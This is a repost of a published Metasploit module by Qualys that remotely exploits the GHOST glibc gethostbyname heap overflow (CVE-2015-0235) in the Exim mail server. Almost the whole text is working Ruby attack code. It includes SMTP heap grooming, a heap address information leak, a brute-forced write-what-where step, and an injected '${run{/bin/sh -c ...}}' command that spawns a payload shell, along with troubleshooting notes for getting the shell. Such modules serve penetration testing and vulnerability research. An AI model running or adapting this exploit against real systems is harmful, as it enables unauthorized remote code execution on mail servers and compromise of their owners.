Exim – ‘GHOST’ glibc gethostbyname Buffer Overflow (Metasploit)

  • 作者: Qualys Corporation
    日期: 2015-03-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36421/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit4 < Msf::Exploit::Remote
    Rank = GreatRanking
    
    include Msf::Exploit::Remote::Tcp
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
    'Description' => %q(
    This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
    buffer overflow in the GNU C Library's gethostbyname functions) on x86
    and x86_64 GNU/Linux systems that run the Exim mail server. Technical
    information about the exploitation can be found in the original GHOST
    advisory, and in the source code of this module.
    ------------------------------------------------------------------------
    SERVER-SIDE REQUIREMENTS (Exim)
    ------------------------------------------------------------------------
    The remote system must use a vulnerable version of the GNU C Library:
    the first exploitable version is glibc-2.6, the last exploitable version
    is glibc-2.17; older versions might be exploitable too, but this module
    depends on the newer versions' fd_nextsize (a member of the malloc_chunk
    structure) to remotely obtain the address of Exim's smtp_cmd_buffer in
    the heap.
    ------------------------------------------------------------------------
    The remote system must run the Exim mail server: the first exploitable
    version is exim-4.77; older versions might be exploitable too, but this
    module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably
    set up the heap as described in the GHOST advisory.
    ------------------------------------------------------------------------
    The remote Exim mail server must be configured to perform extra security
    checks against its SMTP clients: either the helo_try_verify_hosts or the
    helo_verify_hosts option must be enabled; the "verify = helo" ACL might
    be exploitable too, but is unpredictable and therefore not supported by
    this module.
    ------------------------------------------------------------------------
    CLIENT-SIDE REQUIREMENTS (Metasploit)
    ------------------------------------------------------------------------
    This module's "exploit" method requires the SENDER_HOST_ADDRESS option
    to be set to the IPv4 address of the SMTP client (Metasploit), as seen
    by the SMTP server (Exim); additionally, this IPv4 address must have
    both forward and reverse DNS entries that match each other
    (Forward-Confirmed reverse DNS).
    ------------------------------------------------------------------------
    The remote Exim server might be exploitable even if the Metasploit
    client has no FCrDNS, but this module depends on Exim's sender_host_name
    variable to be set in order to reliably control the state of the remote
    heap.
    ------------------------------------------------------------------------
    TROUBLESHOOTING
    ------------------------------------------------------------------------
    "bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option
    was not specified.
    ------------------------------------------------------------------------
    "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure:
    the SENDER_HOST_ADDRESS option was specified, but not in IPv4
    dotted-decimal notation.
    ------------------------------------------------------------------------
    "bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or
    "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the
    SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP
    client (Metasploit), as seen by the SMTP server (Exim).
    ------------------------------------------------------------------------
    "bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the
    SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.
    ------------------------------------------------------------------------
    "not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server
    is either not vulnerable, or not exploitable (glibc versions older than
    glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).
    ------------------------------------------------------------------------
    "NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address
    contains bad characters (NUL, CR, LF) and was therefore mangled during
    the information leak; this exploit is able to reconstruct most of these
    addresses, but not all (worst-case probability is ~1/85, but could be
    further improved).
    ------------------------------------------------------------------------
    "Brute-force SUCCESS" followed by a nil reply, but no shell: the remote
    Unix command was executed, but spawned a bind-shell or a reverse-shell
    that failed to connect (maybe because of a firewall, or a NAT, etc).
    ------------------------------------------------------------------------
    "Brute-force SUCCESS" followed by a non-nil reply, and no shell: the
    remote Unix command was executed, but failed to spawn the shell (maybe
    because the setsid command doesn't exist, or awk isn't gawk, or netcat
    doesn't support the -6 or -e option, or telnet doesn't support the -z
    option, etc).
    ------------------------------------------------------------------------
    Comments and questions are welcome!
    ),
    'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
    'License' => BSD_LICENSE,
    'References' => [
    ['CVE', '2015-0235'],
    ['US-CERT-VU', '967332'],
    ['OSVDB', '117579'],
    ['BID', '72325'],
    ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt']
    ],
    'DisclosureDate' => 'Jan 27 2015',
    'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
    'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
    'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^
    'Payload' => {
    'Space' => 255, # the shorter the payload, the higher the probability of code execution
    'BadChars' => "", # we encode the payload ourselves, because ^
    'DisableNops' => true,
    'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
    },
    'Targets' => [['Automatic', {}]],
    'DefaultTarget' => 0
    ))
    
    register_options([
    Opt::RPORT(25),
    OptAddress.new('SENDER_HOST_ADDRESS', [false,
    'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
    ], self.class)
    
    register_advanced_options([
    OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil])
    ], self.class)
    end
    
    def check
    # for now, no information about the vulnerable state of the target
    check_code = Exploit::CheckCode::Unknown
    
    begin
    # not exploiting, just checking
    smtp_connect(false)
    
    # malloc()ate gethostbyname's buffer, and
    # make sure its next_chunk isn't the top chunk
    
    9.times do
    smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
    smtp_recv(HELO_CODES)
    end
    
    # overflow (4 bytes) gethostbyname's buffer, and
    # overwrite its next_chunk's size field with 0x00303030
    
    smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
    # from now on, an exception means vulnerable
    check_code = Exploit::CheckCode::Vulnerable
    # raise an exception if no valid SMTP reply
    reply = smtp_recv(ANY_CODE)
    # can't determine vulnerable state if smtp_verify_helo() isn't called
    return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
    
    # realloc()ate gethostbyname's buffer, and
    # crash (old glibc) or abort (new glibc)
    # on the overwritten size field
    
    smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
    # raise an exception if no valid SMTP reply
    reply = smtp_recv(ANY_CODE)
    # can't determine vulnerable state if smtp_verify_helo() isn't called
    return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
    # a vulnerable target should've crashed by now
    check_code = Exploit::CheckCode::Safe
    
    rescue
    peer = "#{rhost}:#{rport}"
    vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")
    
    ensure
    smtp_disconnect
    end
    
    return check_code
    end
    
    def exploit
    unless datastore['I_KNOW_WHAT_I_AM_DOING']
    print_status("Checking if target is vulnerable...")
    fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
    print_good("Target is vulnerable.")
    end
    information_leak
    code_execution
    end
    
    private
    
    HELO_CODES = '250|451|550'
    ANY_CODE = '[0-9]{3}'
    
    MIN_HEAP_SHIFT = 80
    MIN_HEAP_SIZE = 128 * 1024
    MAX_HEAP_SIZE = 1024 * 1024
    
    # Exim
    ALIGNMENT = 8
    STORE_BLOCK_SIZE = 8192
    STOREPOOL_MIN_SIZE = 256
    
    LOG_BUFFER_SIZE = 8192
    BIG_BUFFER_SIZE = 16384
    
    SMTP_CMD_BUFFER_SIZE = 16384
    IN_BUFFER_SIZE = 8192
    
    # GNU C Library
    PREV_INUSE = 0x1
    NS_MAXDNAME = 1025
    
    # Linux
    MMAP_MIN_ADDR = 65536
    
    def information_leak
    print_status("Trying information leak...")
    leaked_arch = nil
    leaked_addr = []
    
    # try different heap_shift values, in case Exim's heap address contains
    # bad chars (NUL, CR, LF) and was mangled during the information leak;
    # we'll keep the longest one (the least likely to have been truncated)
    
    16.times do
    done = catch(:another_heap_shift) do
    heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
    print_debug("#{{ heap_shift: heap_shift }}")
    
    # write the malloc_chunk header at increasing offsets (8-byte step),
    # until we overwrite the "503 sender not yet given" error message
    
    128.step(256, 8) do |write_offset|
    error = try_information_leak(heap_shift, write_offset)
    print_debug("#{{ write_offset: write_offset, error: error }}")
    throw(:another_heap_shift) if not error
    next if error == "503 sender not yet given"
    
    # try a few more offsets (allows us to double-check things,
    # and distinguish between 32-bit and 64-bit machines)
    
    error = [error]
    1.upto(5) do |i|
    error[i] = try_information_leak(heap_shift, write_offset + i*8)
    throw(:another_heap_shift) if not error[i]
    end
    print_debug("#{{ error: error }}")
    
    _leaked_arch = leaked_arch
    if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
     (error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
     (error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
     (error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
    leaked_arch = ARCH_X86_64
    
    elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
    (error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
    (error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
    (error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
    leaked_arch = ARCH_X86
    
    else
    throw(:another_heap_shift)
    end
    print_debug("#{{ leaked_arch: leaked_arch }}")
    fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
    
    # try different large-bins: most of them should be empty,
    # so keep the most frequent fd_nextsize address
    # (a pointer to the malloc_chunk itself)
    
    count = Hash.new(0)
    0.upto(9) do |last_digit|
    error = try_information_leak(heap_shift, write_offset, last_digit)
    next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
    next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
    count[error] += 1
    end
    print_debug("#{{ count: count }}")
    throw(:another_heap_shift) if count.empty?
    
    # convert count to a nested array of [key, value] arrays and sort it
    error_count = count.sort { |a, b| b[1] <=> a[1] }
    error_count = error_count.first # most frequent
    error = error_count[0]
    count = error_count[1]
    throw(:another_heap_shift) unless count >= 6 # majority
    leaked_addr.push({ error: error, shift: heap_shift })
    
    # common-case shortcut
    if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
     (leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
    leaked_addr = [leaked_addr.last] # use this one, and not another
    throw(:another_heap_shift, true) # done
    end
    throw(:another_heap_shift)
    end
    throw(:another_heap_shift)
    end
    break if done
    end
    
    fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
    fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
    
    leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
    leaked_addr = leaked_addr.first # longest
    error = leaked_addr[:error]
    shift = leaked_addr[:shift]
    
    leaked_addr = 0
    (leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
    break if i >= error.length
    leaked_addr += error.unpack('C*')[i] * (2**(i*8))
    end
    # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
    leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
    fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
    
    print_good("Successfully leaked_arch: #{leaked_arch}")
    print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
    @leaked = { arch: leaked_arch, addr: leaked_addr }
    end
    
    def try_information_leak(heap_shift, write_offset, last_digit = 9)
    fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
    fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0
    fail_with("infoleak", "write_offset") if (write_offset & 7) != 0
    fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
    
    smtp_connect
    
    # bulletproof Heap Feng Shui; the hard part is avoiding:
    # "Too many syntax or protocol errors" (3)
    # "Too many unrecognized commands" (3)
    # "Too many nonmail commands" (10)
    
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
    smtp_recv(250)
    
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
    smtp_recv(250)
    
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
    smtp_recv(250)
    
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
    smtp_recv(250)
    
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
    smtp_recv(250)
    
    # overflow (3 bytes) gethostbyname's buffer, and
    # overwrite its next_chunk's size field with 0x003?31
    # ^ last_digit
    smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
    begin # ^ 0x30 | PREV_INUSE
    smtp_recv(HELO_CODES)
    
    smtp_send("RSET")
    smtp_recv(250)
    
    smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
    smtp_recv(503, 'sender not yet given')
    
    smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
    smtp_recv(500, '\A500 unrecognized command\r\n\z')
    
    smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
    smtp_recv(500, '\A500 unrecognized command\r\n\z')
    
    smtp_send("DATA")
    reply = smtp_recv(503)
    
    lines = reply[:lines]
    fail if lines.size <= 3
    fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
    fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
    fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
    
    # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
    # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
    # but happens with lower probability)
    
    error = lines[+1..-3].join("")
    error.sub!(/\A503-/mn, "")
    error.sub!(/\r\n\z/mn, "")
    error.gsub!(/\r\n503-/mn, "\n")
    return error
    
    rescue
    return nil
    end
    
    ensure
    smtp_disconnect
    end
    
    def code_execution
    print_status("Trying code execution...")
    
    # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
    # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
    # that rogue child processes cannot use them.
    
    fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded
    fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
    # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
    # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
    encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
    # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
    command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
    print_debug(command)
    
    # don't try to execute commands directly, try a very simple ACL first,
    # to distinguish between exploitation-problems and shellcode-problems
    
    acldrop = "drop message="
    message = rand_text_alpha(command.length - acldrop.length)
    acldrop += message
    
    max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
    max_heap_addr = @leaked[:addr]
    min_heap_addr = nil
    survived = nil
    
    # we later fill log_buffer and big_buffer with alpha chars,
    # which creates a safe-zone at the beginning of the heap,
    # where we can't possibly crash during our brute-force
    
    # 4, because 3 copies of sender_helo_name, and step_len;
    # start big, but refine little by little in case
    # we crash because we overwrite important data
    
    helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
    loop do
    
    sender_helo_name = "A" * helo_len
    address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)
    
    # the 3 copies of sender_helo_name, allocated by
    # host_build_sender_fullhost() in POOL_PERM memory
    
    helo_ip_size = ALIGNMENT +
    sender_helo_name[+1..-2].length
    
    sender_fullhost_size = ALIGNMENT +
    sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length
    
    sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
    sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
    sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
    ).length
    
    # fit completely into the safe-zone
    step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
    (max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
    loop do
    
    # inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
    # with alpha chars, which creates another safe-zone at the end of the heap)
    heap_addr = max_heap_addr
    loop do
    
    # try harder the first time around: we obtain better
    # heap boundaries, and we usually hit our ACL faster
    
    (min_heap_addr ? 1 : 2).times do
    
    # try the same heap_addr several times, but with different random offsets,
    # in case we crash because our hijacked storeblock's length field is too small
    # (we don't control what's stored at heap_addr)
    
    rand_offset = rand(max_rand_offset)
    print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
    reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
    print_debug("#{{ reply: reply }}") if reply
    
    if reply and
     reply[:code] == "550" and
     # detect the parsed ACL, not the "still in text form" ACL (with "=")
     reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
    print_good("Brute-force SUCCESS")
    print_good("Please wait for reply...")
    # execute command this time, not acldrop
    reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
    print_debug("#{{ reply: reply }}")
    return handler
    end
    
    if not min_heap_addr
    if reply
    fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
    survived = heap_addr
    else
    if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
    # survived should point to our safe-zone at the beginning of the heap
    fail_with("codeexec", "never survived") if not survived
    print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
    min_heap_addr = survived
    end
    end
    end
    end
    
    heap_addr -= step_len
    break if min_heap_addr and heap_addr < min_heap_addr
    end
    
    break if step_len < 1024
    step_len /= 2
    end
    
    helo_len /= 2
    break if helo_len < 1024
    # ^ otherwise the 3 copies of sender_helo_name will
    # fit into the current_block of POOL_PERM memory
    end
    fail_with("codeexec", "Brute-force FAILURE")
    end
    
    # our write-what-where primitive
    def try_code_execution(len, what, where)
    fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len
    fail_with("codeexec", "#{where} < 0") if where < 0
    
    x86 = (@leaked[:arch] == ARCH_X86)
    min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
    heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
    last_digit = 1 + rand(9)
    
    smtp_connect
    
    # fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
    smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
     "501 : sender address must contain a domain\r\n\0".length)
    smtp_recv(501, 'sender address must contain a domain')
    
    smtp_send("RSET")
    smtp_recv(250)
    
    # bulletproof Heap Feng Shui; the hard part is avoiding:
    # "Too many syntax or protocol errors" (3)
    # "Too many unrecognized commands" (3)
    # "Too many nonmail commands" (10)
    
    # / 5, because "\x7F" is non-print, and:
    # ss = store_get(length + nonprintcount * 4 + 1);
    smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
    smtp_recv(500, '\A500 unrecognized command\r\n\z')
    
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
    smtp_recv(250)
    
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
    smtp_recv(250)
    
    smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
    smtp_recv(500, '\A500 unrecognized command\r\n\z')
    
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
    smtp_recv(250)
    
    # overflow (3 bytes) gethostbyname's buffer, and
    # overwrite its next_chunk's size field with 0x003?31
    # ^ last_digit
    smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
    smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE
    
    # auth_xtextdecode() is the only way to overwrite the beginning of a
    # current_block of memory (the "storeblock" structure) with arbitrary data
    # (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
    # this shapes the rest of our exploit: we overwrite the beginning of the
    # current_block of POOL_PERM memory with the current_block of POOL_MAIN
    # memory (allocated by auth_xtextdecode()).
    
    auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
    (x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
    auth_prefix += "."
    
    # also fill log_buffer with alpha chars
    smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
    smtp_recv(501, 'invalid data for AUTH')
    
    smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
    begin
    reply = smtp_recv(ANY_CODE)
    return reply if reply[:code] !~ /#{HELO_CODES}/
    return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/
    
    smtp_send("MAIL FROM:<>")
    reply = smtp_recv(ANY_CODE)
    return reply if reply[:code] != "250"
    
    smtp_send("RCPT TO:<postmaster>")
    reply = smtp_recv
    return reply
    
    rescue
    return nil
    end
    
    ensure
    smtp_disconnect
    end
    
    DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
    DOT = '[.]'
    
    def smtp_connect(exploiting = true)
    fail_with("smtp_connect", "sock isn't nil") if sock
    
    connect
    fail_with("smtp_connect", "sock is nil") if not sock
    @smtp_state = :recv
    
    banner = smtp_recv(220)
    return if not exploiting
    
    sender_host_address = datastore['SENDER_HOST_ADDRESS']
    if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
    fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
    fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
    end
    sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
    
    # turn helo_seen on (enable the MAIL command)
    # call smtp_verify_helo() (force fopen() and small malloc()s)
    # call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
    smtp_send("HELO #{sender_host_address_octal}")
    reply = smtp_recv(HELO_CODES)
    
    if reply[:code] != "250"
    fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
    fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
    end
    
    if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
    fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
    smtp_active_hostname = $1
    sender_host_name = $2
    
    if sender_host_name =~ /\A(.*) at (\S*)\z/mn
    sender_host_name = $2
    sender_ident = $1
    else
    sender_ident = nil
    end
    fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
    
    else
    # can't double-check sender_host_address here, so only for advanced users
    fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['I_KNOW_WHAT_I_AM_DOING']
    # worst-case scenario
    smtp_active_hostname = "A" * NS_MAXDNAME
    sender_host_name = "A" * NS_MAXDNAME
    sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
    end
    
    _sender = @sender
    @sender = {
    hostaddr: sender_host_address,
    hostaddr8: sender_host_address_octal,
    hostname: sender_host_name,
    ident: sender_ident,
    __smtp_active_hostname: smtp_active_hostname
    }
    fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender
    
    # avoid a future pathological case by forcing it now:
    # "Do NOT free the first successor, if our current block has less than 256 bytes left."
    smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
    smtp_recv(501, 'sender address must contain a domain')
    
    smtp_send("RSET")
    smtp_recv(250, 'Reset OK')
    end
    
    def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
    fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send
    @smtp_state = :sending
    
    if not arg_pattern
    fail_with("smtp_send", "prefix is nil") if not prefix
    fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
    command = prefix
    
    else
    fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
    length = arg_length - arg_prefix.length - arg_suffix.length
    fail_with("smtp_send", "len is #{length}") if length <= 0
    argument = arg_prefix
    case arg_pattern
    when String
    argument += arg_pattern * (length / arg_pattern.length)
    argument += arg_pattern[0, length % arg_pattern.length]
    when Method
    argument += arg_pattern.call(length)
    end
    argument += arg_suffix
    fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
    command = prefix + argument + suffix
    end
    
    fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0
    fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
    command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
    
    # the following loop works around a bug in the put() method:
    # "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
    # (or send_idx and/or send_len could be removed altogether, like here)
    
    while command and not command.empty?
    num_sent = sock.put(command)
    fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0
    fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
    command = command[num_sent..-1]
    end
    
    @smtp_state = :recv
    end
    
    def smtp_recv(expected_code = nil, expected_data = nil)
    fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv
    @smtp_state = :recving
    
    failure = catch(:failure) do
    
    # parse SMTP replies very carefully (the information
    # leak injects arbitrary data into multiline replies)
    
    data = ""
    while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
    begin
    more_data = sock.get_once
    rescue
    throw(:failure, "Caught #{$!.class}: #{$!.message}")
    end
    throw(:failure, "no more data") if more_data.nil?
    throw(:failure, "no more data") if more_data.empty?
    data += more_data
    end
    
    throw(:failure, "malformed reply (count)") if data.count("\0") > 0
    lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
    throw(:failure, "malformed reply (empty)") if lines.empty?
    
    code = nil
    lines.size.times do |i|
    lines[i].sub!(/\A\r\n/mn, "")
    lines[i] += "\r\n"
    
    if i == 0
    code = lines[i][0,3]
    throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
    if expected_code and code !~ /\A(#{expected_code})\z/mn
    throw(:failure, "unexpected #{code}, expected #{expected_code}")
    end
    end
    
    line_begins_with = lines[i][0,4]
    line_should_begin_with = code + (i == lines.size-1 ? " " : "-")
    
    if line_begins_with != line_should_begin_with
    throw(:failure, "line begins with #{line_begins_with}, " \
    "should begin with #{line_should_begin_with}")
    end
    end
    
    throw(:failure, "malformed reply (join)") if lines.join("") != data
    if expected_data and data !~ /#{expected_data}/mn
    throw(:failure, "unexpected data")
    end
    
    reply = { code: code, lines: lines }
    @smtp_state = :send
    return reply
    end
    
    fail_with("smtp_recv", "#{failure}") if expected_code
    return nil
    end
    
    def smtp_disconnect
    disconnect if sock
    fail_with("smtp_disconnect", "sock isn't nil") if sock
    @smtp_state = :disconnected
    end
    end